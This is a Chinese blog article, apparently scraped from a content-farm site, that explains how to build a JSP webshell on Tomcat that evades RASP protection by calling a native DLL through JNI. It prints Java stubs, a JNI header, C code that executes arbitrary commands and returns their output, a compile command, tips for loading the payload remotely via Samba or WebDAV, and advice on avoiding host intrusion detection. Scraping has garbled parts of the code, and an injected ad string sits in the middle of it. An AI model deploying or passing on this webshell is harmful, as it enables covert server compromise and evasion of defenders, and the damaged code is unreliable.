JNI技术绕过rasp防护怎么实现jsp webshell

今天就跟大家聊聊有关JNI技术绕过rasp防护怎么实现jsp webshell，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。想到rasp这类工具是基于java、php运行期的堆栈信息进行分析，可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数，具体实现的思路是jsp编译为class文件，该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显，即可实现rasp和安全防护软件的绕过。以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件，jsp是一种特殊的class文件，而jsp经过Tomcat编译class文件，命名遵从test.jsp ->> org.apache.jsp.test_jsp.class，所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。“`package org.apache.jsp; public class test_jsp { class JniClass { public native String exec( String string ); } }/DO NOT EDIT THIS FILE – it is machine generated /#include / Header for classorg_apache_jsp_test_jsp_JniClass /#ifndef_Included_org_apache_jsp_test_jsp_JniClass#define_Included_org_apache_jsp_test_jsp_JniClass#ifdef __cplusplusextern “C” {#endif/*Class: org_apache_jsp_test_jsp_JniClass*Method: exec*Signature: (Ljava/lang/String;)Ljava/lang/String;*/JNIEXPO免费云主机域名RT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv*, jobject, jstring);#ifdef __cplusplus}#endif#endif 调用上一步生成头文件，编写有回显的c语言代码#include”jni.h”#include”org_apache_jsp_test_jsp_JniClass.h”#include#include#include#include#include int execmd(const char cmd, char result){ char buffer[102412]; //定义缓冲区 FILE pipe = _popen(cmd, “r”); //打开管道，并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)){ if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); }} _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功}JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv env, jobjectclass_object, jstring jstr){ const char cstr = (env)->GetStringUTFChars(env, jstr, NULL); char result[1024 12] = “”; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)){ // printf(result);} char return_messge[100] = “”; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;}}gcc -I “c:Program FilesJavajdk1.7.0_75include” -I “c:Program FilesJavajdk1.7.0_75includewin32” –shared JniClass.c -o 1.dll “`i. 对于linux|mac环境，上一步生成的java内部类叫做JniClass，在类unix平台下，加载的库名需要为lib开头+JniClass+jnilib或者dylib。ii. 核心的system.load|loadLibrary法是以File的形式记载dll|lib文件，该dll|lib路径的以远程的方式加载的绝对路径，所以需要目标机器上测试判断环境是支持//，还是支持？简单判断方法是new file（path），然后判断file.exist。如果是前者的linux环境，需要想办法使用//的unc路径，推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者，即目标服务器为windows下的java应用，远程路径需要以开头，dll需要放在windows下，在windows平台下445不通的情况下，会访问WebD**（开启webclient）的80端口下载下来dll执行。iii. jni载荷的c、c++实现的代码要具备健壮性，避免目标环境的jvm奔溃。iv. 使用system函数执行命令要小心被hids发现。v. 该webshell只在tomcat容器上测试过。经测试：jdk1.7+tomcat8.5+windows环境jdk10+tomcat+Macrasp安全防护全开。rasp安全防护全开。样本index.jsp为传统的基于Runtime.getRuntime执行命令， 毫不意外的被rasp记录日志并阻断。使用jni突破rasp的jsp来执行shell，成功绕过。成功绕过。使用d盾查杀virustotal：看完上述内容，你们对JNI技术绕过rasp防护怎么实现jsp webshell有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注云编程开发博客行业资讯频道，感谢大家的支持。

相关推荐: linux有什么虚拟终端

这篇文章主要介绍了linux有什么虚拟终端的相关知识，内容详细易懂，操作简单快捷，具有一定借鉴价值，相信大家阅读完这篇linux有什么虚拟终端文章都会有所收获，下面我们一起来看看吧。 linux虚拟终端有：1、Gnome-terminal，支持多用户配置、文本…